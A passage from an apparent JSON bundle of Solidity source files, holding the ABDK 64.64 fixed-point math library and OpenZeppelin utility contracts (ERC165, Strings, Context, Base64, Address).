number\n * @return signed 64.64-bit fixed point number\n */\n function div (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n int256 result = (int256 (x) << 64) / y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are signed 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x signed 256-bit integer number\n * @param y signed 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function divi (int256 x, int256 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n\n bool negativeResult = false;\n if (x < 0) {\n x = -x; // We rely on overflow behavior here\n negativeResult = true;\n }\n if (y < 0) {\n y = -y; // We rely on overflow behavior here\n negativeResult = !negativeResult;\n }\n uint128 absoluteResult = divuu (uint256 (x), uint256 (y));\n if (negativeResult) {\n require (absoluteResult <= 0x80000000000000000000000000000000);\n return -int128 (absoluteResult); // We rely on overflow behavior here\n } else {\n require (absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int128 (absoluteResult); // We rely on overflow behavior here\n }\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x unsigned 256-bit integer number\n * @param y unsigned 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function divu (uint256 x, uint256 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n uint128 result = divuu (x, y);\n require (result <= uint128 (MAX_64x64));\n return int128 (result);\n }\n }\n\n /**\n * Calculate -x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function neg (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != MIN_64x64);\n return -x;\n }\n }\n\n /**\n * Calculate |x|. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function abs (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != MIN_64x64);\n return x < 0 ? -x : x;\n }\n }\n\n /**\n * Calculate 1 / x rounding towards zero. Revert on overflow or when x is\n * zero.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function inv (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != 0);\n int256 result = int256 (0x100000000000000000000000000000000) / x;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate arithmetics average of x and y, i.e. (x + y) / 2 rounding down.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function avg (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n return int128 ((int256 (x) + int256 (y)) >> 1);\n }\n }\n\n /**\n * Calculate geometric average of x and y, i.e. sqrt (x * y) rounding down.\n * Revert on overflow or in case x * y is negative.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function gavg (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 m = int256 (x) * int256 (y);\n require (m >= 0);\n require (m <\n 0x4000000000000000000000000000000000000000000000000000000000000000);\n return int128 (sqrtu (uint256 (m)));\n }\n }\n\n /**\n * Calculate x^y assuming 0^0 is 1, where x is signed 64.64 fixed point number\n * and y is unsigned 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y uint256 value\n * @return signed 64.64-bit fixed point number\n */\n function pow (int128 x, uint256 y) internal pure returns (int128) {\n unchecked {\n bool negative = x < 0 && y & 1 == 1;\n\n uint256 absX = uint128 (x < 0 ? -x : x);\n uint256 absResult;\n absResult = 0x100000000000000000000000000000000;\n\n if (absX <= 0x10000000000000000) {\n absX <<= 63;\n while (y != 0) {\n if (y & 0x1 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x2 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x4 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x8 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n y >>= 4;\n }\n\n absResult >>= 64;\n } else {\n uint256 absXShift = 63;\n if (absX < 0x1000000000000000000000000) { absX <<= 32; absXShift -= 32; }\n if (absX < 0x10000000000000000000000000000) { absX <<= 16; absXShift -= 16; }\n if (absX < 0x1000000000000000000000000000000) { absX <<= 8; absXShift -= 8; }\n if (absX < 0x10000000000000000000000000000000) { absX <<= 4; absXShift -= 4; }\n if (absX < 0x40000000000000000000000000000000) { absX <<= 2; absXShift -= 2; }\n if (absX < 0x80000000000000000000000000000000) { absX <<= 1; absXShift -= 1; }\n\n uint256 resultShift = 0;\n while (y != 0) {\n require (absXShift < 64);\n\n if (y & 0x1 != 0) {\n absResult = absResult * absX >> 127;\n resultShift += absXShift;\n if (absResult > 0x100000000000000000000000000000000) {\n absResult >>= 1;\n resultShift += 1;\n }\n }\n absX = absX * absX >> 127;\n absXShift <<= 1;\n if (absX >= 0x100000000000000000000000000000000) {\n absX >>= 1;\n absXShift += 1;\n }\n\n y >>= 1;\n }\n\n require (resultShift < 64);\n absResult >>= 64 - resultShift;\n }\n int256 result = negative ? -int256 (absResult) : int256 (absResult);\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate sqrt (x) rounding down. Revert if x < 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function sqrt (int128 x) internal pure returns (int128) {\n unchecked {\n require (x >= 0);\n return int128 (sqrtu (uint256 (int256 (x)) << 64));\n }\n }\n\n /**\n * Calculate binary logarithm of x. Revert if x <= 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function log_2 (int128 x) internal pure returns (int128) {\n unchecked {\n require (x > 0);\n\n int256 msb = 0;\n int256 xc = x;\n if (xc >= 0x10000000000000000) { xc >>= 64; msb += 64; }\n if (xc >= 0x100000000) { xc >>= 32; msb += 32; }\n if (xc >= 0x10000) { xc >>= 16; msb += 16; }\n if (xc >= 0x100) { xc >>= 8; msb += 8; }\n if (xc >= 0x10) { xc >>= 4; msb += 4; }\n if (xc >= 0x4) { xc >>= 2; msb += 2; }\n if (xc >= 0x2) msb += 1; // No need to shift xc anymore\n\n int256 result = msb - 64 << 64;\n uint256 ux = uint256 (int256 (x)) << uint256 (127 - msb);\n for (int256 bit = 0x8000000000000000; bit > 0; bit >>= 1) {\n ux *= ux;\n uint256 b = ux >> 255;\n ux >>= 127 + b;\n result += bit * int256 (b);\n }\n\n return int128 (result);\n }\n }\n\n /**\n * Calculate natural logarithm of x. Revert if x <= 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function ln (int128 x) internal pure returns (int128) {\n unchecked {\n require (x > 0);\n\n return int128 (int256 (\n uint256 (int256 (log_2 (x))) * 0xB17217F7D1CF79ABC9E3B39803F2F6AF >> 128));\n }\n }\n\n /**\n * Calculate binary exponent of x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function exp_2 (int128 x) internal pure returns (int128) {\n unchecked {\n require (x < 0x400000000000000000); // Overflow\n\n if (x < -0x400000000000000000) return 0; // Underflow\n\n uint256 result = 0x80000000000000000000000000000000;\n\n if (x & 0x8000000000000000 > 0)\n result = result * 0x16A09E667F3BCC908B2FB1366EA957D3E >> 128;\n if (x & 0x4000000000000000 > 0)\n result = result * 0x1306FE0A31B7152DE8D5A46305C85EDEC >> 128;\n if (x & 0x2000000000000000 > 0)\n result = result * 0x1172B83C7D517ADCDF7C8C50EB14A791F >> 128;\n if (x & 0x1000000000000000 > 0)\n result = result * 0x10B5586CF9890F6298B92B71842A98363 >> 128;\n if (x & 0x800000000000000 > 0)\n result = result * 0x1059B0D31585743AE7C548EB68CA417FD >> 128;\n if (x & 0x400000000000000 > 0)\n result = result * 0x102C9A3E778060EE6F7CACA4F7A29BDE8 >> 128;\n if (x & 0x200000000000000 > 0)\n result = result * 0x10163DA9FB33356D84A66AE336DCDFA3F >> 128;\n if (x & 0x100000000000000 > 0)\n result = result * 0x100B1AFA5ABCBED6129AB13EC11DC9543 >> 128;\n if (x & 0x80000000000000 > 0)\n result = result * 0x10058C86DA1C09EA1FF19D294CF2F679B >> 128;\n if (x & 0x40000000000000 > 0)\n result = result * 0x1002C605E2E8CEC506D21BFC89A23A00F >> 128;\n if (x & 0x20000000000000 > 0)\n result = result * 0x100162F3904051FA128BCA9C55C31E5DF >> 128;\n if (x & 0x10000000000000 > 0)\n result = result * 0x1000B175EFFDC76BA38E31671CA939725 >> 128;\n if (x & 0x8000000000000 > 0)\n result = result * 0x100058BA01FB9F96D6CACD4B180917C3D >> 128;\n if (x & 0x4000000000000 > 0)\n result = result * 0x10002C5CC37DA9491D0985C348C68E7B3 >> 128;\n if (x & 0x2000000000000 > 0)\n result = result * 0x1000162E525EE054754457D5995292026 >> 128;\n if (x & 0x1000000000000 > 0)\n result = result * 0x10000B17255775C040618BF4A4ADE83FC >> 128;\n if (x & 0x800000000000 > 0)\n result = result * 0x1000058B91B5BC9AE2EED81E9B7D4CFAB >> 128;\n if (x & 0x400000000000 > 0)\n result = result * 0x100002C5C89D5EC6CA4D7C8ACC017B7C9 >> 128;\n if (x & 0x200000000000 > 0)\n result = result * 0x10000162E43F4F831060E02D839A9D16D >> 128;\n if (x & 0x100000000000 > 0)\n result = result * 0x100000B1721BCFC99D9F890EA06911763 >> 128;\n if (x & 0x80000000000 > 0)\n result = result * 0x10000058B90CF1E6D97F9CA14DBCC1628 >> 128;\n if (x & 0x40000000000 > 0)\n result = result * 0x1000002C5C863B73F016468F6BAC5CA2B >> 128;\n if (x & 0x20000000000 > 0)\n result = result * 0x100000162E430E5A18F6119E3C02282A5 >> 128;\n if (x & 0x10000000000 > 0)\n result = result * 0x1000000B1721835514B86E6D96EFD1BFE >> 128;\n if (x & 0x8000000000 > 0)\n result = result * 0x100000058B90C0B48C6BE5DF846C5B2EF >> 128;\n if (x & 0x4000000000 > 0)\n result = result * 0x10000002C5C8601CC6B9E94213C72737A >> 128;\n if (x & 0x2000000000 > 0)\n result = result * 0x1000000162E42FFF037DF38AA2B219F06 >> 128;\n if (x & 0x1000000000 > 0)\n result = result * 0x10000000B17217FBA9C739AA5819F44F9 >> 128;\n if (x & 0x800000000 > 0)\n result = result * 0x1000000058B90BFCDEE5ACD3C1CEDC823 >> 128;\n if (x & 0x400000000 > 0)\n result = result * 0x100000002C5C85FE31F35A6A30DA1BE50 >> 128;\n if (x & 0x200000000 > 0)\n result = result * 0x10000000162E42FF0999CE3541B9FFFCF >> 128;\n if (x & 0x100000000 > 0)\n result = result * 0x100000000B17217F80F4EF5AADDA45554 >> 128;\n if (x & 0x80000000 > 0)\n result = result * 0x10000000058B90BFBF8479BD5A81B51AD >> 128;\n if (x & 0x40000000 > 0)\n result = result * 0x1000000002C5C85FDF84BD62AE30A74CC >> 128;\n if (x & 0x20000000 > 0)\n result = result * 0x100000000162E42FEFB2FED257559BDAA >> 128;\n if (x & 0x10000000 > 0)\n result = result * 0x1000000000B17217F7D5A7716BBA4A9AE >> 128;\n if (x & 0x8000000 > 0)\n result = result * 0x100000000058B90BFBE9DDBAC5E109CCE >> 128;\n if (x & 0x4000000 > 0)\n result = result * 0x10000000002C5C85FDF4B15DE6F17EB0D >> 128;\n if (x & 0x2000000 > 0)\n result = result * 0x1000000000162E42FEFA494F1478FDE05 >> 128;\n if (x & 0x1000000 > 0)\n result = result * 0x10000000000B17217F7D20CF927C8E94C >> 128;\n if (x & 0x800000 > 0)\n result = result * 0x1000000000058B90BFBE8F71CB4E4B33D >> 128;\n if (x & 0x400000 > 0)\n result = result * 0x100000000002C5C85FDF477B662B26945 >> 128;\n if (x & 0x200000 > 0)\n result = result * 0x10000000000162E42FEFA3AE53369388C >> 128;\n if (x & 0x100000 > 0)\n result = result * 0x100000000000B17217F7D1D351A389D40 >> 128;\n if (x & 0x80000 > 0)\n result = result * 0x10000000000058B90BFBE8E8B2D3D4EDE >> 128;\n if (x & 0x40000 > 0)\n result = result * 0x1000000000002C5C85FDF4741BEA6E77E >> 128;\n if (x & 0x20000 > 0)\n result = result * 0x100000000000162E42FEFA39FE95583C2 >> 128;\n if (x & 0x10000 > 0)\n result = result * 0x1000000000000B17217F7D1CFB72B45E1 >> 128;\n if (x & 0x8000 > 0)\n result = result * 0x100000000000058B90BFBE8E7CC35C3F0 >> 128;\n if (x & 0x4000 > 0)\n result = result * 0x10000000000002C5C85FDF473E242EA38 >> 128;\n if (x & 0x2000 > 0)\n result = result * 0x1000000000000162E42FEFA39F02B772C >> 128;\n if (x & 0x1000 > 0)\n result = result * 0x10000000000000B17217F7D1CF7D83C1A >> 128;\n if (x & 0x800 > 0)\n result = result * 0x1000000000000058B90BFBE8E7BDCBE2E >> 128;\n if (x & 0x400 > 0)\n result = result * 0x100000000000002C5C85FDF473DEA871F >> 128;\n if (x & 0x200 > 0)\n result = result * 0x10000000000000162E42FEFA39EF44D91 >> 128;\n if (x & 0x100 > 0)\n result = result * 0x100000000000000B17217F7D1CF79E949 >> 128;\n if (x & 0x80 > 0)\n result = result * 0x10000000000000058B90BFBE8E7BCE544 >> 128;\n if (x & 0x40 > 0)\n result = result * 0x1000000000000002C5C85FDF473DE6ECA >> 128;\n if (x & 0x20 > 0)\n result = result * 0x100000000000000162E42FEFA39EF366F >> 128;\n if (x & 0x10 > 0)\n result = result * 0x1000000000000000B17217F7D1CF79AFA >> 128;\n if (x & 0x8 > 0)\n result = result * 0x100000000000000058B90BFBE8E7BCD6D >> 128;\n if (x & 0x4 > 0)\n result = result * 0x10000000000000002C5C85FDF473DE6B2 >> 128;\n if (x & 0x2 > 0)\n result = result * 0x1000000000000000162E42FEFA39EF358 >> 128;\n if (x & 0x1 > 0)\n result = result * 0x10000000000000000B17217F7D1CF79AB >> 128;\n\n result >>= uint256 (int256 (63 - (x >> 64)));\n require (result <= uint256 (int256 (MAX_64x64)));\n\n return int128 (int256 (result));\n }\n }\n\n /**\n * Calculate natural exponent of x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function exp (int128 x) internal pure returns (int128) {\n unchecked {\n require (x < 0x400000000000000000); // Overflow\n\n if (x < -0x400000000000000000) return 0; // Underflow\n\n return exp_2 (\n int128 (int256 (x) * 0x171547652B82FE1777D0FFDA0D23A7D12 >> 128));\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x unsigned 256-bit integer number\n * @param y unsigned 256-bit integer number\n * @return unsigned 64.64-bit fixed point number\n */\n function divuu (uint256 x, uint256 y) private pure returns (uint128) {\n unchecked {\n require (y != 0);\n\n uint256 result;\n\n if (x <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)\n result = (x << 64) / y;\n else {\n uint256 msb = 192;\n uint256 xc = x >> 192;\n if (xc >= 0x100000000) { xc >>= 32; msb += 32; }\n if (xc >= 0x10000) { xc >>= 16; msb += 16; }\n if (xc >= 0x100) { xc >>= 8; msb += 8; }\n if (xc >= 0x10) { xc >>= 4; msb += 4; }\n if (xc >= 0x4) { xc >>= 2; msb += 2; }\n if (xc >= 0x2) msb += 1; // No need to shift xc anymore\n\n result = (x << 255 - msb) / ((y - 1 >> msb - 191) + 1);\n require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n\n uint256 hi = result * (y >> 128);\n uint256 lo = result * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n\n uint256 xh = x >> 192;\n uint256 xl = x << 64;\n\n if (xl < lo) xh -= 1;\n xl -= lo; // We rely on overflow behavior here\n lo = hi << 128;\n if (xl < lo) xh -= 1;\n xl -= lo; // We rely on overflow behavior here\n\n assert (xh == hi >> 128);\n\n result += xl / y;\n }\n\n require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return uint128 (result);\n }\n }\n\n /**\n * Calculate sqrt (x) rounding down, where x is unsigned 256-bit integer\n * number.\n *\n * @param x unsigned 256-bit integer number\n * @return unsigned 128-bit integer number\n */\n function sqrtu (uint256 x) private pure returns (uint128) {\n unchecked {\n if (x == 0) return 0;\n else {\n uint256 xx = x;\n uint256 r = 1;\n if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; }\n if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; }\n if (xx >= 0x100000000) { xx >>= 32; r <<= 16; }\n if (xx >= 0x10000) { xx >>= 16; r <<= 8; }\n if (xx >= 0x100) { xx >>= 8; r <<= 4; }\n if (xx >= 0x10) { xx >>= 4; r <<= 2; }\n if (xx >= 0x4) { r <<= 1; }\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1; // Seven iterations should be enough\n uint256 r1 = x / r;\n return uint128 (r < r1 ? r : r1);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/utils/introspection/ERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Strings.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Strings.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev String operations.\n */\nlibrary Strings {\n bytes16 private constant _HEX_SYMBOLS = \"0123456789abcdef\";\n uint8 private constant _ADDRESS_LENGTH = 20;\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n */\n function toString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n }\n return string(buffer);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n */\n function toHexString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0x00\";\n }\n uint256 temp = value;\n uint256 length = 0;\n while (temp != 0) {\n length++;\n temp >>= 8;\n }\n return toHexString(value, length);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n */\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _HEX_SYMBOLS[value & 0xf];\n value >>= 4;\n }\n require(value == 0, \"Strings: hex length insufficient\");\n return string(buffer);\n }\n\n /**\n * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.\n */\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n}\n"
},
"@openzeppelin/contracts/utils/Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Base64.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Base64.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides a set of functions to operate with Base64 strings.\n *\n * _Available since v4.5._\n */\nlibrary Base64 {\n /**\n * @dev Base64 Encoding/Decoding Table\n */\n string internal constant _TABLE = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\n /**\n * @dev Converts a `bytes` to its Bytes64 `string` representation.\n */\n function encode(bytes memory data) internal pure returns (string memory) {\n /**\n * Inspired by Brecht Devos (Brechtpd) implementation - MIT licence\n * https://github.com/Brechtpd/base64/blob/e78d9fd951e7b0977ddca77d92dc85183770daf4/base64.sol\n */\n if (data.length == 0) return \"\";\n\n // Loads the table into memory\n string memory table = _TABLE;\n\n // Encoding takes 3 bytes chunks of binary data from `bytes` data parameter\n // and split into 4 numbers of 6 bits.\n // The final Base64 length should be `bytes` data length multiplied by 4/3 rounded up\n // - `data.length + 2` -> Round up\n // - `/ 3` -> Number of 3-bytes chunks\n // - `4 *` -> 4 characters for each chunk\n string memory result = new string(4 * ((data.length + 2) / 3));\n\n /// @solidity memory-safe-assembly\n assembly {\n // Prepare the lookup table (skip the first \"length\" byte)\n let tablePtr := add(table, 1)\n\n // Prepare result pointer, jump over length\n let resultPtr := add(result, 32)\n\n // Run over the input, 3 bytes at a time\n for {\n let dataPtr := data\n let endPtr := add(data, mload(data))\n } lt(dataPtr, endPtr) {\n\n } {\n // Advance 3 bytes\n dataPtr := add(dataPtr, 3)\n let input := mload(dataPtr)\n\n // To write each character, shift the 3 bytes (18 bits) chunk\n // 4 times in blocks of 6 bits for each character (18, 12, 6, 0)\n // and apply logical AND with 0x3F which is the number of\n // the previous character in the ASCII table prior to the Base64 Table\n // The result is then added to the table to get the character to write,\n // and finally write it in the result pointer but with a left shift\n // of 256 (1 byte) - 8 (1 ASCII char) = 248 bits\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(6, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(input, 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n }\n\n // When data `bytes` is not exactly 3 bytes long\n // it is padded with `=` characters at the end\n switch mod(mload(data), 3)\n case 1 {\n mstore8(sub(resultPtr, 1), 0x3d)\n mstore8(sub(resultPtr, 2), 0x3d)\n }\n case 2 {\n mstore8(sub(resultPtr, 1), 0x3d)\n }\n }\n\n return result;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as 